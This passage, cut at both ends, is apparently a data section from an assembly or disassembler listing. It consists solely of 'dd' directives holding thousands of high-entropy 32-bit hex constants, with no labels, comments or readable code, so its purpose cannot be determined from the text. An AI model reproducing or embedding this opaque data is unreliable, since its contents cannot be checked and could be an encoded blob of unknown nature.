0EAA067C4h, 0DA71A79Ch, 35F96E06h, 0A1FC43BEh, 43FC439Eh dd 0D8C550F7h, 0BAB23E11h, 839E1CE8h, 0D624FC23h, 0E3C67490h dd 13BE2258h, 8596239Ch, 3CA3EECEh, 0BC0EF767h, 34C91C13h dd 8036F0C3h, 0FAF621F2h, 0FDB6760Ch, 43557056h, 79AE25EDh dd 0A04FA6D1h, 6D2472F4h, 0A36B5C4Bh, 0DE066DC0h, 7123B653h dd 7C4AFF6Fh, 5F7191E8h, 228EAE81h, 0CFA9B11h, 6F7A0CE9h dd 32FDC721h, 578849BDh, 1F24A826h, 29CAD1D7h, 0E1799FD2h dd 0BDEDE714h, 0D87C1F48h dd 0AA6C1F49h, 0B7BB37B7h, 0BDE5D83Dh, 7B9EF662h, 5FA1D626h dd 166F4ADCh, 0A92EBA85h, 0EBFC7F1Ah, 4F820FA5h, 6830F0B8h dd 6F4F4FF8h, 0A29DC14Ah, 0CAE76A71h, 6F59E03Eh, 96F4BA0Bh dd 7A1CF0EBh, 0FE97DACBh, 5D9FAC37h, 1CE16C9Dh, 0FF3859EEh dd 0C9D29F50h, 0DFD0CE57h, 3A2C2365h, 363500FAh, 0ECD2A8A9h dd 12524427h, 4580F522h, 0D163BBFBh, 0ED160F7Eh, 73901367h dd 2E52A078h, 37F6DB4Ah, 63AE52AFh, 0ADE84CCEh, 8343C742h dd 57235794h, 0D1720074h, 0E9233343h, 7243439Dh, 17235794h dd 7483CE50h, 0D99FACD9h, 82B60B0Dh, 43605D38h, 0EFED1A7Bh dd 41E844C0h, 5E3529B2h, 32675CADh, 68BA6FC1h, 0A2C70FB5h dd 776383Dh, 0CFDB5522h, 2E7EA208h, 0D216BCD7h, 79C670BEh dd 0FB8E665Dh, 0A5F8B783h, 0C51C19CDh, 0ED6EA1FDh, 24BA6CA9h dd 8B5D33Ah, 0E15E1744h, 93EAB81Ah, 3F12086Eh, 0F7B56AFEh dd 5F81ADE3h, 6ABAF124h, 2F976B7Bh, 52873AB6h, 0E4FB9B6Ah dd 0E9FDE25Dh, 14294731h, 12340583h, 0A60AE3DEh, 0BABD5CADh dd 4186C15Fh, 8D31A824h, 0A9780998h, 8A82E942h, 99AE1DA1h dd 43AC360Ah, 60AA2388h, 2871583h, 0AF46B983h, 0EBCBF748h dd 9042D3F9h, 0FD8938B1h, 748169EDh, 2FBAB56Fh, 9E8DB396h dd 0DC8A79C1h, 955FDC67h, 1A99EE7Bh, 216F5FDDh, 1FE081ADh dd 0EE5E3133h, 0A0F06272h, 84FDB107h, 1D77C0A8h, 54320871h dd 9EF1ADD5h, 89C3AC67h, 8AA70055h, 0B0E56FD8h, 16DD02B5h dd 0C84F4DE3h, 8165E057h, 0C47B2F8Dh, 9071DA11h, 448C491Fh dd 4513FB38h, 8A2BC0B8h, 1CE1C8D3h, 0D13AE8C3h, 32F25EE6h dd 0F7AE3F1Bh, 22EC6FDBh, 8B990176h, 905CC87Ah, 363E16F4h dd 54D483ABh, 90B68EE3h, 0FBC7FA30h, 36556403h, 155967FEh dd 79FBA67Bh, 8B811749h, 0C0AF7E11h, 0AB11E8DCh, 0CC35E121h dd 0F21D2F38h, 78BC558Ah, 6AE61448h, 628AF4EDh, 0B64AF00Ch dd 0D2618FB5h, 864F418h, 0F1EE31A4h, 9311AB25h, 7BA02091h dd 0D4D4FDCDh, 699D6D8h, 73B39152h, 0EB9662Ah, 0B0F815FBh dd 0FD51E28h, 4336AE45h, 64569AC3h, 0A907A31Eh, 0AAA39D23h dd 348704DBh, 69A11CDh, 0A17A5DECh, 0E973343Dh, 3383DABFh dd 1CEC5E97h, 0A5434CDAh, 5F745D5Fh, 0BC1CE355h, 57C7D509h dd 1E43E080h, 0E87A1071h, 0B9DBFFDCh, 0C99B7EBDh, 29C04B80h dd 2874EFA5h, 376BFC3Dh, 37C71AAAh, 0A36F3E7Bh, 0F3E8DBCFh dd 0ABE7DF36h, 0B6D2FBC3h, 9EFB986Dh, 7FF57C97h, 5EF3FFC9h dd 0D518AB2Ch, 4620C51Dh, 0EC1B3ECFh, 13B88E12h, 7824597Dh dd 0A14D20B3h, 97F3D495h, 0E93F39EBh, 1341949Bh, 89F00C97h dd 33AD6005h, 99D43Fh, 9FFBA926h, 0C0929510h, 0F2F8CB1Dh dd 3DD406E9h, 0D070949Ch, 458316B3h, 95F724EDh, 3ECA0790h dd 0A8060481h, 3BB2C76Bh, 0FDEE9221h, 29D8381Ah, 31502422h dd 0A607945Ch, 0D6F62D97h, 0DAE7F53h, 0B6CA97C5h, 21BE028Bh dd 692C543Dh, 0E647B843h, 0B51DDC17h, 7D6D0354h, 0A5A3C327h dd 6DB7DC03h, 352102E7h, 0F70A50C4h, 0DCBDDB87h, 54CF6B1Eh dd 0D447C677h, 9679D2C7h, 0D2DD099Ah, 46233409h, 85756CEh dd 42E1F3h, 0E9AA23E7h, 298BB259h, 80A42978h, 8A2A4037h dd 25E51F75h, 7E43653Eh, 308D7C13h, 11B153E4h, 508D8A86h dd 0EBB19CB7h, 0D684CE43h, 34086850h, 5A66FB9Ch, 0CF0FCE05h dd 0ECA695E4h, 7932A31Dh, 0C58FAA5Dh, 36939B4h, 5E0CF6BDh dd 8AC7C410h, 16FC671Fh, 7D95A083h, 0A3DB2F3Ch, 5F66634Bh dd 0F4DD19FAh, 6121F59h, 9C3E0B3Ch, 0A9BCE74Eh, 0EC90636Dh dd 0DB3B9510h, 0AF0AD2FDh, 0FAA4D3CEh, 0EF0A9670h, 12B1738Ch dd 0F7E0E0D7h, 0C54AF4Ch, 8126927h, 9409096h, 0A4409709h dd 3E29D884h, 1F75FC3Bh, 0F642331Ch, 80D657E6h, 0C0EF10CEh dd 0DC3C8F4h, 209C4CD8h, 3F6FDC03h, 4ADE54C6h, 0DB50770Bh dd 7512E0BFh, 0F101D236h, 96431CE3h, 1B002F06h, 0D242C989h dd 5DB36BEBh, 0C40A3097h, 62FBA3A7h, 0BD8539C1h, 0A1C78D2Dh dd 0DF15EE0Bh, 0C6260E8Dh, 35C8CEA2h, 5C589EB1h, 33449BAEh dd 0FBA237C4h, 41A8ABBAh, 747BB0B9h, 7FEDA9DFh, 995A2808h dd 71268A8Bh, 72F31EEBh, 0BB55E27Eh, 8E902CBh, 0F0075123h dd 5113BFB6h, 0FADFC0D3h, 0A914E0F2h, 0B9733071h, 374E3E56h dd 638086A5h, 16E3622Ch, 387A8FD2h, 0AABA31D5h, 23984FB2h dd 536FD5DAh, 674FBC92h, 0D836B486h, 533EAFD5h, 0BA4C94D2h dd 0F06385E6h, 0BBD230Ch, 20F46C17h, 4C99BF4Eh, 0CE51C2EDh dd 4E06245h, 30142A19h, 5FBA4783h, 3BDE79h, 1A679F1Bh dd 581AB014h, 8B73511Eh, 0E430484h, 0DFC5CF3Ch, 567AEDAh dd 908AE0BCh, 98BE5F24h, 11CD20A4h, 11ADEC9Dh, 0C299B170h dd 30EA85A0h, 0A90D071Eh, 51C997A2h, 0AECAB212h, 976F3530h dd 404D9B83h, 861B3C09h, 0B18EC597h, 126E9146h, 6DF823CCh dd 63A07994h, 62706D40h, 8DB4B267h, 0CD317AEh, 0D20AD219h dd 24F1A19h, 93AB7DA1h, 40ED41A5h, 97B691Ah, 910AF062h dd 9B4E92F6h, 957F9FABh, 8C733CC2h, 9E1E8533h, 0A3377880h dd 218EA9F9h, 0CD3B929Bh, 0C7618E61h, 22BA0782h, 7D14936Ah dd 267163DAh, 0B5501CE8h, 0D9CC33B6h, 587058E7h, 2CEFF43Bh dd 0B997F265h, 4A8CD847h, 89C9021h, 0A288981Eh, 771134A3h dd 96F893A7h, 0EF18E794h, 40EF57ECh, 8D0506DDh, 79F70E87h dd 8B2F1598h, 0F1A6788Bh, 5D611F61h, 297FDD52h, 0C5711C70h dd 0ABB81BA3h, 0FE1BF1C0h, 6FAE1F1Ah, 0F0D476F0h, 70277F86h dd 0D30AE0BCh, 4FF6DC57h, 0FFAFFC6Fh, 0FC1515E9h, 0D94896ACh dd 0FF9BC640h, 2CA18E4Ah, 0E6F9DC04h, 0D6E21C34h, 35305F9Bh dd 1F577F95h, 0BE1F569Eh, 417874C9h, 440A1F45h, 952C8EE5h dd 0C5523615h, 5312D596h, 59C65D5Ch, 0D536A67Ah, 429014B1h dd 0D809A31Ch, 131442BEh, 0EED571B6h, 54A88EBEh, 23621307h dd 1A87F84Dh, 0A16E3969h, 0F93DBFFh, 0FA0E641Dh, 0E87F5DBFh dd 0FFD07328h, 0D3DDE3EDh, 197E41Fh, 59995C67h, 0E7B86F58h dd 0BC3AF3B0h, 0AAB2E482h, 3D0FB78Eh, 0D322C0D4h, 2F8EA2FFh dd 3713919Ch, 9BC8A758h, 0D9D9FA6Eh, 0F3B1BC0Fh, 0C8649621h dd 3FE8EB38h, 11F6BDC3h, 49C7AE22h, 0E8989FE4h, 7BED2142h dd 0DDD60079h, 379C4397h, 0F17332B8h, 0EDDD66DEh, 1A77F0B9h dd 0EB73995Ch, 4A6A9D66h, 0ED99BB9Ch, 0B79D4294h, 14924EEh dd 28736C7Ah, 34B80B09h, 0B50224E4h, 323EA236h, 559155DEh dd 6870FE97h, 7527FB7Ch, 0A42ABC83h, 0EA141621h, 82B3B1BCh dd 9FDFF9F8h, 0D791178Dh, 2484A2B6h, 0D49673EFh, 0A61E9A6Dh dd 0DD95A11Eh, 15BBB3FBh, 0C32BB067h, 0AEBE9653h, 897553E4h dd 1B752060h, 0A1AA25EFh, 0D6C53C2Fh, 0C27DB43Fh, 2D24FEBEh dd 9999F5E7h, 0EECDB1B8h, 0E6AF2359h, 0FD45F764h, 8D3EA9C9h dd 1A8837BCh, 0EAFB179h, 17BC7D25h, 9EF1F5FDh, 0E91D6CF4h dd 0CA5252D9h, 6E225A75h, 9012E91Dh, 0DFA82A26h, 779BAE6Dh dd 0AEE94032h, 0F62EB947h, 262F38Fh, 1F328FF6h, 6ED317FFh dd 9C4E344Bh, 607C7CA2h, 345D9505h, 59E0DEEEh, 0FA55D75Eh dd 0AD75DC69h, 0B7450D3Dh, 9A2B75A4h, 0A5DCC5B8h, 0BBAD1E65h dd 5374815Ch, 0FE633372h, 0F5DE6AF2h, 534B56D3h, 0F54C57EEh dd 329FB66Eh, 0F8B798DCh, 1D34F6D6h, 94D1341Bh, 27715A4Ah dd 4A2DED42h, 36B5284Ah dd 67FEE23Ah, 76C40FBDh, 95B6DA4Dh, 4759CB1h, 89C4DAB1h dd 0B2B6D9B5h, 5BC166CBh, 0F257179Bh, 0D7FAB4DAh, 8519D5A6h dd 0B97F78B4h, 1C2ADC54h, 2537C471h, 615B649Fh, 7EBBE72Ch dd 537C5D13h, 0C5176666h, 0A7D114BCh, 9C121866h, 0BDF24EF3h dd 4C0537C0h, 0D7336F2Bh, 80A67BCAh, 0E6DBBCADh, 2DC77D30h dd 4779CDE8h, 6526BDFFh, 50ACFBFBh, 0A673B48Dh, 0FEB1195Dh dd 1165929Ah, 0B6B1DF35h, 0C488CFACh, 0FD4A5F5Ah, 3EFB5EECh dd 0C86341DBh, 54C06A0h, 0ABADA472h, 8433E382h, 0FE0A4F02h dd 0AE9796DAh, 3E382AF0h, 0F73A3608h, 0A9BE62A6h, 0ED1A7A91h dd 3D3E159Eh, 3C7250C7h, 0CE34B686h, 639A8F12h, 95489C05h dd 5C8953C5h, 61CBF08Ah, 5FE2D018h, 1DFADA00h, 62FFFEC1h dd 0D5BC2DFBh, 40CF93EAh, 0BF3D2039h, 0F97EE8D8h, 7FFF713Dh dd 2E1B93E9h, 5884FA5Eh, 0F30C1B19h, 16F03A8Eh, 0BA76D3DAh dd 93D11EA0h, 2F5E6A86h, 0F68C80D2h, 0B1AF716Dh, 3037ABB3h dd 55D7B9F4h, 8E7AAC93h, 207DF57Bh, 26F99562h, 0EB2DBB0Bh dd 4FF4FEE7h, 1C536DECh, 8FAF55BBh, 0E81C4495h, 0D2D06EBBh dd 0C43F9C50h, 0CB957306h, 0A9E9AE61h, 12420711h, 0A0995BAAh dd 4B7B4A5Eh, 294181C4h, 744F3FD5h, 0F14A05BDh, 86778F3h dd 827F71B9h, 6AB0E04Bh, 14E3025Ch, 62BE0E41h, 6C28610Ch dd 77A7A70Fh, 510B9DA0h, 0FEAE3FDAh, 0F982E265h, 2D4BA0CEh dd 4F9DBA47h, 6D79F240h, 574EBEE8h, 94114E27h, 0D362604Ch dd 0D07A90ADh, 377C751Fh, 623CC121h, 0CFAAF1C4h, 43874164h dd 0D69EE12h, 1D5BEA70h, 8C688C6Fh, 0D4388CEEh, 182D0EC8h dd 4F8D7F67h, 34382405h, 184A86D7h, 1A46F93Fh, 2FF5993Eh dd 0B3A824E1h, 0D26D3D90h, 8810CB44h, 0D3869176h, 27A10A6h dd 7439A990h, 0D5087866h, 0A67CE76Ah, 0D75A9BA5h, 862F94FDh dd 35AB3203h, 9C34A2C5h, 3A4998C3h, 840531AAh, 770E9EF2h dd 3A8BF6AFh, 0BB3DDB34h, 31E80998h, 34674B76h, 53B49BD0h dd 2F98BE7Fh, 0EBE64461h, 0F5D1E687h, 0CD8E7648h, 0CEBD77Dh dd 565A2871h, 8A45FB8Eh, 8D3B7ED6h, 9733B789h, 9B5CBC86h dd 0F120EF4Ah, 94C17D12h, 0AAAD404Fh, 672E9FE3h, 4DA8ED64h dd 0C01C4637h, 40FE9B3h, 86DF37F1h, 0B7FBEA6Dh, 416D8BB0h dd 0A7C82647h, 0B9D0DD4Eh, 0FB6B2905h, 717DC1AEh, 5D318BBBh dd 5188CBB8h, 34DF3722h, 7784C452h, 0A5B6DC49h, 148AEFAh dd 4571B50Fh, 3099F30Fh, 0B686BB57h, 0FA0F4DBh, 0C40A03D0h dd 6C610C3Eh, 0FA071138h, 0DC5332D9h, 0EEB84327h, 0D35C66AEh dd 0E861454Fh, 17F7F2D1h, 5E2C3F8Ch, 0FD43E3CFh, 98A87CBAh dd 0D1D4887Fh, 5DCFB2E6h, 912D53E7h, 5DA387DEh, 9727E042h dd 36727C04h, 2C54E4FFh, 0D0CD5D31h, 0AD524434h, 0EAC5207Dh dd 0A0651B78h, 7F2D34Fh, 3994879Fh, 1EFB6304h, 0B84C4C93h dd 53EB82D4h, 0C097DBD5h, 4BFD5346h, 0AA7D15FFh, 0F69C95Eh dd 5E457AAEh, 6361383Bh, 8EAFCAE3h, 4DB48449h, 6A4936C3h dd 0F6D5A707h, 50FD314Dh, 0FDD723FEh, 861A56B3h, 8619D1A9h dd 62FA9CC7h, 0DED6164Dh, 0E0801487h, 0F770B6F1h, 6AF4981Fh dd 66AE6CF8h, 20250E98h, 731FCB57h, 0CAEE2484h, 54B4AEFEh dd 9ED74C52h, 753AED95h, 65D417F8h, 8FD1C615h, 4A569317h dd 77CC16AAh, 0AA0D2C44h, 76B5FE4Dh, 0E4B1C756h, 7B6E42ABh dd 0DC742D58h, 0FE4B1E34h, 1CC78855h, 0E7646771h, 19F5219Dh dd 0B8D86683h, 0D9773C66h, 89F79E37h, 11F8E83h, 31A0C0BBh dd 447E52C9h, 0D8410247h, 34074B57h, 4412E493h, 0BC07B14Ch dd 566E19F4h, 0E67D2F33h, 4BD0A16Ah, 0C19131F9h, 0F059F6DCh dd 0E410733Bh, 0F029B15Eh, 0A7A3FCC6h, 0AC657D90h, 0BD949D64h dd 0BE290123h, 11CBE271h, 0DA54F8AEh, 0A40083B5h, 88E39AE2h dd 0E525DCDBh, 20CA5F4Eh, 0D5FCF29Eh, 1D06521Eh, 49750771h dd 3297C4B9h, 0D03CA784h, 0BC4A53h, 0FA85510h, 0EEE37AC2h dd 3AE79C75h, 5C2160D1h, 4F078E76h, 1B0E8E37h, 2387473Dh dd 2ACBB7C9h, 0D1D8BC83h, 6B405921h, 521D1CBBh, 8223B6DAh dd 0C9B0E8E7h, 1D1D8B19h, 0C960BDB6h, 0E6169DF6h, 5BDFF8E4h dd 9A03D173h, 6A015C79h, 0DE65D5F1h, 4096E723h, 329CF15Eh dd 3B0772FEh, 0D128FB90h, 5A49C974h, 8589DC1Bh, 1C1D4D8Ch dd 0AC0FFDCh, 0BEABCF93h, 3A2290CFh, 6748DAC3h, 4D0E4E48h dd 0D0ED6CA9h, 5183E749h, 67F75D1Eh, 0D0CF6B0Dh, 0BA3EFE1h dd 0D9DA61D8h, 0F749FB7Ah, 7D696B63h, 4A985516h, 2D7335EDh dd 4ADFB73Fh, 3B29358Dh, 0B3ED4E9Bh, 0B2CBDAFDh, 6D7B7BB5h dd 5917B4F5h, 1DEBAAD8h, 4FEC0F1h, 8E77B03Fh, 3D209BC3h dd 1AFBD61Dh, 0C598AD94h, 0B23FD333h, 0D83002B3h, 0D33620DFh dd 0E4EF52C0h, 0E499A5DAh, 9880FCA5h, 0C19044ADh, 2470E755h dd 12E98703h, 755EB33Eh, 0C79E2B3Ch, 7FF8E667h, 0D91F968Eh dd 0DA2706D9h, 0D7DB3B2Ah, 13BE3956h, 672B6A54h, 0E5DD112Bh dd 0B55B79F3h, 3C4090Fh, 0BF6A716Ah, 0A478D63Bh, 4C0B6986h dd 22EB217Ch, 0D1228805h, 0BAF56A65h, 56671C18h, 711F595Fh dd 43FC290Fh, 42B86E6Bh, 46E2BD63h, 0E858BAC3h, 0A442846Ah dd 2BE15D7Fh, 1578FE85h, 3B9BD818h, 0BB8509A6h, 4A9D95D3h dd 0A82DBBh, 7498BE68h, 0F8AA49Bh, 79DAD0FDh, 87258FFDh dd 0AFF7E861h, 8A81079Dh, 728F98FEh, 66ABB48h, 0DC68030Eh dd 0AB94FA87h, 9C275292h, 3C3323A6h, 1BECEC59h, 0A3B92071h dd 40E23A3Dh, 3860AFC6h, 380C77B0h, 5711D50Ch, 7D509AC0h dd 95F00EE5h, 5F120BADh, 0FE72EB64h, 23B8E03Fh, 0D7EA4E83h dd 0E133FF86h, 901C771Fh, 2DFE39D1h, 0F5376761h, 461ADC73h dd 24C78B1Ch, 9476DF34h, 599FD5F7h, 95F41419h, 2D6C32FEh dd 1FD31DB0h, 904EB3C5h, 754B7C03h, 0FF71D31Ch, 447349E7h dd 0FA5D079h, 3C09EF02h, 0BFBA6CBFh, 8CE8D01Ah, 3B04A225h dd 0FA5C2694h, 10442441h, 11D75EEh, 0E2B9A239h, 6FC19918h dd 9D854FB5h, 62B3D304h, 5BCE29C2h, 0F47D6F6Dh, 0B56F37D6h dd 0BCEE380Ch, 63CC0970h, 310BC44h, 0BE978782h, 7CAB7E0Ah dd 56F10990h, 98479686h, 0FF457710h, 7011E369h, 0A44C5643h dd 42D823EAh, 0F4BF0B61h, 0EA96A5E1h, 0CD91A10Fh, 3BEE0EF5h dd 20F99DF0h, 0ABE57E78h, 0E739D29Fh, 0A68DA888h, 77063F3Eh dd 32909BE5h, 0B872D5D3h, 20DE9435h, 3ABCEFE1h, 0C30A6E86h dd 3FE86FDh, 7F509BC7h, 0FC7C4330h, 4B407DB5h, 0BF2BA0Eh dd 1680F669h, 4CCBD857h, 2E30F2F4h, 9F044E54h, 0FAB9FE0Fh dd 0C1924E87h, 8C75537Ch, 467E0AB4h, 0E8CE9842h, 0E62C999Bh dd 3140643Bh, 0EF5A06D6h, 0CE8F3957h, 4E87305Fh, 0E874A7B9h dd 0C85A1C5Bh, 3FAF7E84h, 9A15B8E3h, 4BC6BE6Dh, 0A1AF0B2h dd 0EAF033AFh, 0EDD3AF0Bh, 0C05FCF0Fh, 2AE53CCBh, 95F8C1D2h dd 0E0641D1Bh, 0D767E698h, 4EF684Ah, 656D30E6h, 2EA1D99Dh dd 5E62DD2Dh, 305B9E74h, 0CFABDF9Fh, 34B7CCC0h, 96E58808h dd 4A6D7260h, 4B2FE109h, 7154E087h, 8BB2A6Fh, 80DB881Ch dd 21299DFEh, 0B437E978h, 0D5044BFCh, 6B9059A9h, 7BD5C845h dd 8942C34Eh, 3BA4C6BFh, 4B28D69Fh, 0EE0FD705h, 4BF669BBh dd 11E1F521h, 0FDCDBD2Eh, 77291645h, 0CF1E52C0h, 0AAC8A4B6h dd 4F05A20Bh, 485F71C8h, 0A04C8175h, 775C29D7h, 955F5546h dd 948427D6h, 45A0B887h dd 80CA75CDh, 61F2F86h, 4820F2BFh, 0E245A528h, 821A0670h dd 93EC8457h, 0D92907B4h, 2A8B583h, 0B1B1B58Ah, 0D05CEFA9h dd 0AE4315B6h, 0E0B152D6h, 1640D555h, 0EBB47D61h, 0EE31370Dh dd 9714DB80h, 0CDFF7862h, 0ABF6CADh, 0B2DBB326h, 35299B18h dd 0EB5C2E01h, 0F53785A7h, 18EA27CDh, 5C96D783h, 0EB6FCC6Fh dd 0F541FF00h, 8A2918AAh, 523D2092h, 818F409Fh, 1AC6E0FCh dd 0F022F3ACh, 0F3EEC242h, 1AFF38B2h, 0F3CC4D6Fh, 619A275Ch dd 83EBA46Ah, 0A7EE3E8Ah, 3107B569h, 0F1F0E4C0h, 694E0DE7h dd 52EA1605h, 13AEA7D3h, 9DA5A8CEh, 0DDB3E7C1h, 0A4F7E1Fh dd 275DC369h, 6F957C0h, 74F1EDECh, 0A43FB923h, 0ACFD13B3h dd 251F5EAEh, 5AE3EF2Dh, 48C5978Fh, 0E62EF6DEh, 4C0B844Ah dd 646558CEh, 358CFF07h, 0B873FBE1h, 9D7059Eh, 121084F7h dd 11D76F6h, 0E0B854F7h, 7230279h, 2AFA7E45h, 0F55470CBh dd 0A45963Ah, 82129165h, 9CBF8F0Fh, 48E68D93h, 0A62303A0h dd 2E1C2F90h, 0CDFCFF0Dh, 6BE362DDh, 3C6BFC45h, 0B460C1E2h dd 762831E9h, 6B1A7480h, 8B15E844h, 5D9BD3A0h, 0C9DA5808h dd 1149E3B4h, 79C76E8Fh, 5E69311Bh, 3BF3E814h, 363AE899h dd 899E0816h, 0C36053AFh, 0D571276Bh, 897A063Eh, 9CEB2B09h dd 945FDDE7h, 0EC634D33h, 3BDBD70Ah, 0CF4103C4h, 9F9B1DBDh dd 0A02A475Fh, 71CE385h, 25B491DCh, 0C94C74F6h, 34C76F4Ch dd 0AE90CA49h, 0E0F1286Dh, 0D7F297FBh, 37F1A620h, 0EFC84514h dd 0A1B094F4h, 7BF10A81h, 70D915A8h, 521D96AEh, 70DA8541h dd 0A574B7E8h, 0E6698F85h, 3EA9EACFh, 4B2F43D2h, 36CCCCBFh dd 78BF173Ah, 0C2F09B18h, 1234413Dh, 6671B9F6h, 242A8D8Ah dd 0EAD9F6E2h, 63BA4E33h, 0C545493Bh, 61402A49h, 0D27A50F8h dd 0B4FB64E0h, 6A7341A5h, 0B445E04Eh, 29A622Dh, 331D8916h dd 0AC2B1FB4h, 7A7ADF24h, 4BBD81C8h, 50E9BE2Dh, 874B519Fh dd 0BF04A4DEh, 2FD6B929h, 0BB9B5ABFh, 88B58732h, 0C54239B7h dd 40196CA6h, 0F474C94Dh, 0ED4390FDh, 749DD9F9h, 5421D7FFh dd 0F8E78537h, 2AE1341Ah, 4BA0BE4Bh, 455D8A8Bh, 0FA9A0D7Ah dd 2EC507D2h, 0A4BBC1CCh, 0AABB83Fh, 3B82E569h, 6996E835h dd 12805F76h, 0E7575A6Ch, 232580E4h, 5D6EA625h, 948A5378h dd 4A68621Eh, 0F34BEC89h, 0BAA8BAFCh, 0EB75D175h, 82D38C64h dd 28D2F9C6h, 26426264h, 0EEBEBAB6h, 1BF8C217h, 422C6C12h dd 0B839E558h, 0A3633C61h, 23FCC61Dh, 5FF70A9Dh, 0F6590629h dd 614E4B31h, 0FA0505BCh, 76E873B9h, 7D7A8A7Eh, 54D6A1F6h dd 25287662h, 5163D6E6h, 26043450h, 0BE6BD9D1h, 99F10F9Bh dd 0E7762C23h, 0EE2C1DD0h, 69DC6F5Ah, 0D572E35Dh, 84C1ADA8h dd 0D6997D7Eh, 0A629578Fh, 0BE993DCDh, 92EFEBCAh, 0C4DC07F8h dd 1DF0D38Ah, 98517735h, 96C7730Fh, 51EE6205h, 8E96E86Ah dd 4BD7319Eh, 0A7AC587Dh, 0B3EA71CFh, 0ABE18CAEh, 7A7F23FBh dd 2F74C8F3h, 0F943775Ah, 0A1FBA6BBh, 0F94229FCh, 8B3C9D1Dh dd 0FE596880h, 3450CED1h, 367675B0h, 3C2AA19Ch, 0EAD7C38Dh dd 67854973h, 0B8B66619h, 8470764Fh, 0B16E4FA9h, 475EA611h dd 0C83E41Bh, 9AD9F6EFh, 7251F792h, 81A0CFF7h, 90137927h dd 8C00F3D2h, 82ED2D2Bh, 6F8AAC71h, 18CFF95Eh, 718BC677h dd 0C40368BCh, 458875A2h, 5A297453h, 1148BD25h, 345BCC3Fh dd 0FCF7006Ah, 0F5512Ch, 0E59B3BE5h, 2F9BCA7Bh, 0AE44E94Dh dd 52FD743Fh, 86C845FDh, 7FE369AFh, 287895F1h, 0A24D7A1Ch dd 73E1BE3Ah, 4F5E313h, 1C23B543h, 83E3FCCAh, 2D0644C1h dd 0B49E792h, 21F55049h, 0F4E93073h, 0A2D684CDh, 724FA868h dd 0C3D42F0Ch, 73BD3D83h, 0AF545426h, 0A6836C15h, 2DBB03A7h dd 50D1FFA2h, 8093FADAh, 0DA1A2390h, 0BF49A227h, 4CFBB664h dd 8B58791h, 5CECB4CFh, 3060A4CEh, 36231DEFh, 0ED56BC1Bh dd 956C1F7Eh, 617726B4h, 0EE6AE5FFh, 0F26FC21Ch, 0E1B2F142h dd 5D8BF760h, 274668C3h, 1C681146h, 617C41C1h, 9FF8C92Ah dd 0E47D9D24h, 3A57E535h, 14B2A847h, 0E3A131A7h, 49CF45C2h dd 90FAC7A4h, 0EFCEE24Bh, 9C8E0847h, 239A5177h, 42F4FEAEh dd 784669B9h, 0EC5D3D05h, 0F5C2D90Ah, 0D7AF3A99h, 72243643h dd 0D931C527h, 13DE3028h, 0F8272E28h, 0DF439FC7h, 0F2E24CECh dd 8AF1A32Eh, 37EE2623h, 0ED9B9176h, 6FDDB31Dh, 67C37BA5h dd 53E75B3Bh, 0A83AA792h, 0F216D570h, 0E76D425h, 0E514FC28h dd 0F9009F73h, 0D278D98h, 2322F9A5h, 45206BA4h, 65B68BC1h dd 965DF421h, 0D23FCEDh, 0C88EBDD7h, 0CF2235Fh, 0BDC0821Ah dd 6B7D4D73h, 3B65E983h, 89110968h, 0D247BABh, 0C7E175C0h dd 1EDA0870h, 0D3C31D0Dh, 0AC0DE15Dh, 8BFCB21h, 9D8DC86Ch dd 0B8495B2Bh, 6B26772Eh, 2148F3BBh, 5E910771h, 0A354360Bh dd 0ABB692DCh, 7D4DC184h, 514982ABh, 0F18B0788h, 124E11E0h dd 5B69C770h, 5D7ABC31h, 0E33E9B16h, 0C78CFA69h, 0BA74C539h dd 499D9DF2h, 1BBAE419h, 59818BA1h, 3CE7EECDh, 19FB9956h dd 0FDC4358Fh, 3233707h, 575CDA73h, 0DEBE20F8h, 7FDC0E9Fh dd 371077BBh, 3F554CDCh, 7C4BC7D7h, 91C55C4h, 253077ADh dd 843BD09Ah, 0B4328F7h, 28ACA337h, 0DA986F3Ch, 0B7F74894h dd 48207B97h, 0BF298B0Dh, 8D1F94EDh, 9327540Eh, 66101DCDh dd 1268B943h, 0DAB95F52h, 409DA549h, 0EBB33AE6h, 0E668F74Dh dd 11EEB93h, 0AD133333h, 0A3CEE215h, 36D9DDFBh, 3623F604h dd 45591C38h, 3B927710h, 0F13B3B6Dh, 35C9082h, 0C946C795h dd 0A5E4BCBEh, 4BFC7307h, 324A9EB2h, 83324A84h, 7E541CE1h dd 0EF3BCEBBh, 0EF3F78C2h, 30F2819Eh, 1D9C9BCFh, 9DE11B1Bh dd 0FEED54BBh, 0A59A8F26h, 0DCE32EB9h, 67D4E3C6h, 300C308Eh dd 5C0C44C6h, 2F0D98B9h, 83A57DC1h, 985122Ah, 0C40E8E2Ah dd 3FC26243h, 511657C1h, 0D3A8DE11h, 8E9613A4h, 24EEEF41h dd 922CAEDBh, 93AEC7EDh, 4BF418BEh, 0EB62D6D7h, 0F19A6CC1h dd 6C7A521h, 0DAF51B5Bh, 686E8F31h, 0AB00357Ah, 0C76E21EDh dd 1C0749Bh, 6E0B94AEh, 0A1EDAC1Bh, 5FCD882Eh, 2E8AD2C0h dd 2FA0EAFFh, 64BB2479h, 0FCD88849h, 0BE97B627h, 127EE223h dd 6DCDC442h, 6228891Bh, 0C39A19CBh, 9F4C4764h, 8E408C56h dd 0FD252103h, 38BF571Dh, 301E7DA0h, 0AE4862F9h, 71781C4h dd 7B5E1F2Fh, 849DD439h, 0F35727F3h, 11CBE4A6h, 4C5D4E07h dd 57D9E19Ah, 1BCED786h, 10792C78h, 6D41291Dh, 838C3CC9h dd 0C948EC81h, 0B3BBDE79h, 0E633A70Ch, 57F56E0Bh, 8A12AEE2h dd 75408EE0h, 7CF73622h, 6FC0396Bh, 0E60B96Bh, 1744BC71h dd 0BA37416Eh, 0F72E5005h, 39E85B6Bh, 0BB273624h, 0E130B61Bh dd 0E7EE91C7h, 0BE4D27B8h, 91E46578h, 9FDAEC35h, 0FA89895Dh dd 0B1B5E956h, 0C09837CCh, 69F25D46h, 0E837E4F7h, 4396958Dh dd 0ED924224h, 33B0E7D6h, 0EAC833FDh, 0B2F76C86h, 385E53DFh dd 26CCFF53h, 5DB3A11Eh, 7BB87B7Fh, 83E74906h, 6EE44ECFh dd 3DA10F72h, 0DD34F39Ch, 0A7E5F50h, 0C563F73Fh, 7492BEA4h dd 18A186BBh, 9D58873h, 857CA2C9h, 1DD0EBA3h, 314D1554h dd 0CD0E2B7Bh, 0F17EE61Ch, 2071D675h, 161D78C8h, 5EB2E1AFh dd 3D1F335Ah, 9DCA1EB4h, 0EE59ED64h, 0D5F7EEF7h, 62FDE8F9h dd 0EFDF0F9Dh, 775DE75Fh, 0E26754F5h, 748F640Fh, 0A8579F11h dd 0A87C0DDFh, 